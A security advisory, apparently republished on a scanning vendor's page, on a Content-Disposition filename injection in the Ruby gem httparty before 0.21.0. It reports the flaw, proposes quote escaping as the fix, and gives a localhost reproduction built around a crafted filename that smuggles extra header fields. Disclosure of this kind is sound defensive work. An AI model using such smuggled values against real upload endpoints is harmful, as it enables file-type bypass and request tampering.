| Package | Affected versions | Patched versions |
|---|---|---|
| httparty | < 0.21.0 | 0.21.0 |
| httparty | < 0.21.0 | 0.21.0 |
I found "multipart/form-data request tampering vulnerability" caused by Content-Disposition "filename" lack of escaping in httparty.
httparty/lib/httparty/request > body.rb > def generate_multipart
By exploiting this problem, the following attacks are possible
For example, this vulnerability can be exploited to generate the following Content-Disposition.
Normal Request example: normal input filename:
abc.txtgenerated normal header in multipart/form-data
Content-Disposition: form-data; name="avatar"; filename="abc.txt"
Malicious Request example malicious input filename:
overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txtgenerated malicious header in multipart/form-data:
Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt"
The Abused Header has multiple name ( avatar & foo ) fields and the "filename" has been rewritten from *.txt to *.sh .
These problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request. I have confirmed that the attack succeeds, at least in the following frameworks
The cause of this problem is the lack of escaping of the " (Double-Quote) character in Content-Disposition > filename.
WhatWG's HTML spec has an escaping requirement.
https://html.spec.whatwg.org/#multipart-form-data
For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence , 0x0D (CR) with and 0x22 (") with . The user agent must not perform any other escapes.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free%0A%0D%22As noted at the beginning of this section, encoding must be done as described in the HTML Spec.
For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence
%0A, 0x0D (CR) with%0Dand 0x22 (") with%22. The user agent must not perform any other escapes.
Therefore, it is recommended that Content-Disposition be modified by either of the following
Before:
Content-Disposition: attachment;filename="malicious.sh";dummy=.txt
After:
Content-Disposition: attachment;filename="%22malicious.sh%22;dummy=.txt"
file_name.gsub('"', '%22')
Also, as for \r, \n, URL Encode is not done, but it is not newlines, so it seemed to be OK.
However, since there may be omissions, it is safer to URL encode these as well, if possible.
( \r to %0A and \d to %0D )
OS: macOS Monterey(12.3) Ruby ver: ruby 3.1.2p20 httparty ver: 0.20.0 (Python3 - HTTP Request Logging Server)
(Linux or MacOS is required.
This is because Windows does not allow file names containing " (double-quote) .)
$ mkdir my-app
$ cd my-app
$ gem install httparty
$ touch 'overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt'
$ vi example.rb
require 'httparty'
filename = 'overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt'
HTTParty.post('http://localhost:12345/',
body: {
name: 'Foo Bar',
email: '[email protected]',
avatar: File.open(filename)
}
)
I write Python code, but any method will work as long as you can see the HTTP Request Body. (e.g. Debugger, HTTP Logging Server, Packet Capture)
$ vi logging.py
from http.server import HTTPServer
from http.server import BaseHTTPRequestHandler
class LoggingServer(BaseHTTPRequestHandler):
def do_POST(self):
self.send_response(200)
self.end_headers()
self.wfile.write("ok".encode("utf-8"))
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
str(self.path), str(self.headers), post_data.decode('utf-8'))
self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
ip = '127.0.0.1'
port = 12345
server = HTTPServer((ip, port), LoggingServer)
server.serve_forever()
$ python logging.py
$ run example.rb
Return Request Header & Body:
User-Agent: Ruby Content-Type: multipart/form-data; boundary=------------------------F857UcxRc2J1zFOz Connection: close Host: localhost:12345 Content-Length: 457
--------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="name"
Foo Bar --------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="email"
[email protected] --------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt" Content-Type: text/plain
abc --------------------------F857UcxRc2J1zFOz--
Content-Disposition:
Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt"
I also include a similar report that I previously reported to Firefox. https://bugzilla.mozilla.org/show_bug.cgi?id=1556711
I will post some examples of frameworks that did not have problems as reference.
If you have any questions or comments about this advisory: